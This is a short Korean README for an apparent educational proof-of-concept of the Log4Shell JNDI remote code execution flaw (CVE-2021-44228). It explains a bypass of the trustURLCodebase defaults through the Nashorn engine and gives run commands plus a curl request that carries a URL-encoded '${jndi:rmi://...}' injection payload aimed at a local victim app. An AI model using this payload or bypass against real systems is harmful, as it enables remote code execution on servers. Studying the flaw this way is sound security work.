
Log4j2 JNDI RCE 취약점(CVE-2021-44228/Log4Shell)에 대한 최소한의 개념 증명(PoC)입니다.
Log4j2 JNDI 원격 코드 실행(RCE) 취약점(CVE-2021-44228)에 대한 최소한의 개념 증명(PoC)입니다. 이는 보안 연구원이 아닌 사람들이 그 작동 방식과 영향이 얼마나 큰지 이해하도록 돕기 위한 교육 목적으로 작성되었습니다.
이 PoC는 com.sun.jndi.rmi.object.trustURLCodebase
및 com.sun.jndi.cosnaming.object.trustURLCodebase 속성을 true로 설정해야 하는 요구 사항을 우회하며,
해당 속성은 8u121, 7u131, 6u141부터 기본적으로 비활성화되었습니다.
참고: payload-server를 컴파일하려면 JDK 1.8이 필요하지만, victim-app은 Nashorn 엔진이 JDK 15에서 제거되었기 때문에 JDK 15까지 취약합니다.
payload-server를 시작합니다:$ ./gradlew runPayloadServer
victim-app을 시작합니다:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D를 실행합니다.victim-app의 콘솔 로그를 확인합니다. 화면에 의도하지 않은 로그가
출력된 것을 볼 수 있습니다.